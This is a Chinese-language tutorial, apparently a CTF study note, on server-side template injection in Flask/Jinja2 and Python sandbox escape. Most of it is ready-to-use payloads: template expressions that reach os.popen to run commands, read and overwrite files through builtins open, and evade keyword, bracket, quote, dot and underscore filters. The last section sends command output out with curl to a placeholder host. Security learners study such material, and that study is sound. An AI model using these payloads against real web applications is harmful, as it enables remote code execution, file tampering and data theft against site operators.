简单介绍
一个最简单的flask模板
以上代码使用 Flask 框架创建了一个简单的 web 应用。首先导入了 Flask 模块,然后创建了一个 Flask 对象 app。使用 app.route() 装饰器将 URL 路径 '/' 和函数 hello_world绑在一起。当 URL 路径为 '/' 时,服务器将执行hello world()函数,返回字符串 'hello world'。最后使用 app.run() 方法启动服务器。
模板渲染
flask有2个渲染方法
render_template() 渲染指定文件 return render_template(‘index.html’)
render_template_string() 渲染字符串 return render_template_string(html)
敏感信息泄露
如secret_key可造成session伪造
SSTI
flask使用jinjia2渲染引擎进行网页渲染,当处理不得当,未进行语句过滤,用户输入{{控制语句}},会导致渲染出恶意代码,形成注入。
在根目录创建templates目录,准备用于存放html模板文件。
模板文件不是单纯的html代码,往往夹杂着模板的语法,需要传入变量。{{}}在Jinja2中作为变量包裹标识符。
使用render_template()渲染页面时不存在注入漏洞。
对传入的参数不会执行运算,只会进行显示。
使用render_template_string()渲染页面时存在注入漏洞。
render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,在渲染的时候会把 {{xxx}} 包裹的xxx内容当做变量解析替换。
题眼:不正确的使用flask中的render_template_string方法会引发SSTI。
SSTI漏洞利用 - 沙箱逃逸
{{}}内能够解析表达式和代码,但直接插入import os;os.system('whoami') 是无法执行的,Jinjia 引擎限制了使用import,这时可以利用python的魔法方法和一些内置属性。
魔术方法
python沙箱逃逸还是离不开继承关系和子父类关系,在查看和使用类的继承,魔术方法起到了不可比拟的作用。
__class__ 返回一个实例所属的类
__mro__ 查看类继承的所有父类,直到object
__subclasses__() 获取一个类的子类,返回的是一个列表
__bases__ 返回一个类直接所继承的类(元组形式)
__init__ 类实例创建之后调用, 对当前对象的实例的一些初始化
__globals__ 使用方式是 函数名.__globals__,返回一个当前空间下能使用的模块,方法和变量的字典,与func_globals等价
__getattribute__ 当类被调用的时候,无条件进入此函数。
__getattr__ 对象中不存在的属性时调用
__dict__ 返回所有属性,包括属性,方法等
__builtins__ 方法是作为默认初始模块出现的,可用于查看当前所有导入的内建函数
无法直接使用import导入模块,不过通过魔术方法和一些内置属性可以找到很多基类和子类,有些基类和子类是存在一些引用模块的,只要我们初始化这个类,再利用__globals__调用可利用的函数,就可以进行利用。
沙箱逃匿流程
1.获取object类
python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,主要是通过__mro__ 和 __bases__两种方式来创建。
__bases__ 属性可以获取上一层的继承关系,如果是多层继承则返回上一层的东西,可能有多个。
().__class__.__bases__[0]
{}.__class__.__bases__[0]
[].__class__.__bases__[0]
''.__class__.__bases__[0] #python3
__mro__ 属性获取类的MRO(方法解析顺序),也就是继承关系。
().__class__.__mro__[1]
{}.__class__.__mro__[1]
[].__class__.__mro__[1]
''.__class__.__mro__[1]#python3
''.__class__.__mro__[2]#python2
2.获取子类列表
通过object类的__subclasses__()方法获取所有的子类列表,查看可用的类并索引。
().__class__.__bases__[0].__subclasses__()
比如需要可以进行系统命令的os._wrap_close类。于是要定位该类,我们可以通过如下代码进行定位:
import json
classes="""
#所有类
"""
num=0
alllist=[]
result=""
for i in classes:
if i==">":
result+=i
alllist.append(result)
result=""
elif i=="\n" or i==",":
continue
else:
result+=i
#寻找要找的类,并返回其索引
for k,v in enumerate(alllist):
if "#要找的类" in v:
print(str(k)+"--->"+v)
也可以引入os模块,快速进行定位
print('abc'.__class__.__mro__[1].__subclasses__().index(os._wrap_close))
3.接下来,就可以继续往下__init__(初始化方法),再通过__globals__(访问全局变量,字典),通过popen,以及read方法来进行系统命令执行
4.可以利用__builtins__下的open进行文件的读取:代码如下
print('abc'.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt').read())
或
print('abc'.__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt').read())
还可以通过写入的方式修改文件内容
print('abc'.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt','w').write('123456'))
基本操作:获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块并利用
过滤绕过
过滤关键字
字符串拼接绕过
凡是以字符串形式作为参数的都可以使用拼接的形式来绕过特定关键字的检测
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['__imp'+'ort__']('o'+'s').popen('who'+'ami').read()}}
单双引号绕过
?name={{''['__class__'].__mro__[1].__subclasses__()[139].__init__.__globals__['__bui''ltins__']['__impo''rt__']('o''s').popen('who''ami').read()}}
编码绕过
base64编码
python2下使用,python3没有decode方法
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['X19pbXBvcnRfXw=='.decode('base64')]('os').popen('whoami').read()}}
16进制编码绕过
?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}
过滤[]括号
__getitem__()绕过
使用getitem()方法输出序列属性中某个索引处的元素,相当于[]
{{''.__class__.__base__.__subclasses__().__getitem__(139).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').popen('whoami').read()}}
点绕过
访问字典里的值有两种方法,一种是把相应的键放入方括号[]里来访问,一种就是用点.来访问。当方括号[]被过滤之后,还可以用点.的方式来访问
{{''.__class__.__mro__[1].__subclasses__().__getitem__(139)
.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()}}
过滤引号
request对象绕过
request有两种形式,request.args和request.values,POST和GET传递的数据都可以被接收。
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(request.args.v1)
.popen(request.values.v2).read()}}&v1=os&v2=whoami
chr绕过
GET请求时,+号记得url编码,要不会被当作空格处理。
?name={% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__
(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}
过滤点
中括号[]绕过
|
|attr()绕过
|attr()为jinja2原生函数,是一个过滤器,它只查找属性获取并返回对象的属性的值,过滤器与变量用管道符号( | )分割
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(139)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}
过滤 _
request对象绕过
{{''[request.args.v1][request.args.v2][1][request.args.v3]()[139][request.args.v4][request.args.v5][request.args.v6][request.args.v7](request.args.v8)}}&v1=__class__&v2=__mro__&v3=__subclasses__
&v4=__init__&v5=__globals__&v6=__builtins__&v7=eval&
v8=__import__("os").popen("whoami").read()
过滤{{
{% if ... %}1{% endif %}
使用 {% if ... %}1{% endif %} 配合 os.popen 和 curl 将执行结果外带出来,不外带的话执行结果无回显。
{% if ''.__class__.__base__.__subclasses__()[139].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("curl http://xxx.xxx.xxx.xxx:12345/?i=`whoami`").read()') %}1{% endif %}
{%print(......)%}
{% print(''.__class__.__base__.__subclasses__()[139].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')) %}